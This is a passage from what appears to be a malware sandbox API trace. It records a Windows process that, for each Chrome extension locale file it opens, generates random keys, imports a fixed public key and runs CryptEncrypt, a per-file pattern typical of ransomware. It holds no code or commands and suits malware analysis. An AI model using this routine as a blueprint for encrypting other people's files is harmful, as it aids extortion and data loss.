hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65997f8) returned 1 [0233.907] CryptGetKeyParam (in: hKey=0x65997f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.907] CryptEncrypt (in: hKey=0x65997f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x81b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x81b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.907] GetLastError () returned 0x0 [0233.907] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.907] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.908] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.912] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.912] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.912] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.912] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.915] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.916] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.916] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.916] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.917] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.919] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599638) returned 1 [0233.919] CryptGetKeyParam (in: hKey=0x6599638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.919] CryptEncrypt (in: hKey=0x6599638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x81c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x81c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.919] GetLastError () returned 0x0 [0233.919] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.919] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.921] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599238) returned 1 [0233.922] CryptGetKeyParam (in: hKey=0x6599238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.922] CryptEncrypt (in: hKey=0x6599238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x81d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x81d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.922] GetLastError () returned 0x0 [0233.922] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.922] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.924] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.926] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.928] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.928] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.928] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.928] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.931] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.933] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.933] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.933] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.934] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.936] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65993b8) returned 1 [0233.936] CryptGetKeyParam (in: hKey=0x65993b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.936] CryptEncrypt (in: hKey=0x65993b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x81e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x81e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.936] GetLastError () returned 0x0 [0233.936] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.936] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.938] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65997b8) returned 1 [0233.938] CryptGetKeyParam (in: hKey=0x65997b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.938] CryptEncrypt (in: hKey=0x65997b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x81f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x81f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.939] GetLastError () returned 0x0 [0233.939] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.939] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.939] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.943] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.943] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.943] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.943] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.945] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.946] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.946] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.946] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.946] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.948] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599838) returned 1 [0233.948] CryptGetKeyParam (in: hKey=0x6599838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.948] CryptEncrypt (in: hKey=0x6599838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8200000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8200000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.948] GetLastError () returned 0x0 [0233.948] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.948] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.951] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599578) returned 1 [0233.951] CryptGetKeyParam (in: hKey=0x6599578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.951] CryptEncrypt (in: hKey=0x6599578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8210000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8210000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.951] GetLastError () returned 0x0 [0233.951] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.952] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.954] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.955] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.955] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.955] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.957] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.959] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.959] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.959] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.961] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599438) returned 1 [0233.961] CryptGetKeyParam (in: hKey=0x6599438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.961] CryptEncrypt (in: hKey=0x6599438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8220000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8220000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.962] GetLastError () returned 0x0 [0233.962] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.962] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.963] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65995b8) returned 1 [0233.964] CryptGetKeyParam (in: hKey=0x65995b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.964] CryptEncrypt (in: hKey=0x65995b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8230000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8230000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.964] GetLastError () returned 0x0 [0233.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.964] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.965] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.968] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.968] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.968] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.972] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.972] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.972] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.974] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599078) returned 1 [0233.974] CryptGetKeyParam (in: hKey=0x6599078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.974] CryptEncrypt (in: hKey=0x6599078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8240000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8240000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.975] GetLastError () returned 0x0 [0233.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.975] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.977] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65990b8) returned 1 [0233.977] CryptGetKeyParam (in: hKey=0x65990b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.977] CryptEncrypt (in: hKey=0x65990b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8250000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8250000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.977] GetLastError () returned 0x0 [0233.977] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.977] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.978] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.980] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.982] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.982] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.982] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.982] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.983] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.985] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.985] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.985] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.985] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.987] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65994f8) returned 1 [0233.987] CryptGetKeyParam (in: hKey=0x65994f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.987] CryptEncrypt (in: hKey=0x65994f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8260000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8260000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.987] GetLastError () returned 0x0 [0233.987] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.987] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.990] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65991b8) returned 1 [0233.990] CryptGetKeyParam (in: hKey=0x65991b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.990] CryptEncrypt (in: hKey=0x65991b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8270000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8270000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.990] GetLastError () returned 0x0 [0233.990] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.990] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.991] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.994] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.994] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.995] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.998] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.998] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.998] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.001] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599278) returned 1 [0234.001] CryptGetKeyParam (in: hKey=0x6599278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.001] CryptEncrypt (in: hKey=0x6599278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8280000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8280000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.001] GetLastError () returned 0x0 [0234.001] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.001] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.003] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599478) returned 1 [0234.003] CryptGetKeyParam (in: hKey=0x6599478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.003] CryptEncrypt (in: hKey=0x6599478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8290000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8290000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.003] GetLastError () returned 0x0 [0234.003] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.003] 